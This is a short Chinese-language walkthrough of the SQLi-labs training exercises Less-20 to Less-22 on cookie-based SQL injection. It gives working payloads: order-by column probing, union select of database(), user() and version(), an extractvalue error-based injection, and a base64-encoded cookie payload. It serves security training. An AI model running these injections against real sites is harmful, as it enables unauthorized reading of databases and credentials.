Less-20
基于cookie的注入
概述
打开后发现是一个登录界面,在登录之后会保存下cookie,当cookie保存时,刷新页面直接能登陆进来,我们可以获取用户名,密码,ID等信息。
所谓基于cookie的注入就是通过修改cookie的值,等刷新页面的时候,网站会带入cookie的值进行查找,以此来实现注入
要修改cookie的值,可以祭出神器Firebug
测试
在把cookie的值改为 uname=admin’ 的时候报错,存在注入。我们可以猜出闭合的方式,构造语句,方式和简单的Get注入类似
注意这里修改的时候要更改下cookie过期的时间,否则会被删除
Payload
admin' order by 1,2,3,4 # admin' order by 1,2,3 #
' union select 1,2,3 #
' union select database(),user(),version() #
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
Less-21
同理,不过这次cookie进行了base64加密
JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdXNlcigpLHZlcnNpb24oKSAjIA== // ') union select database(),user(),version() #
Less-22
同理,单引号变双引号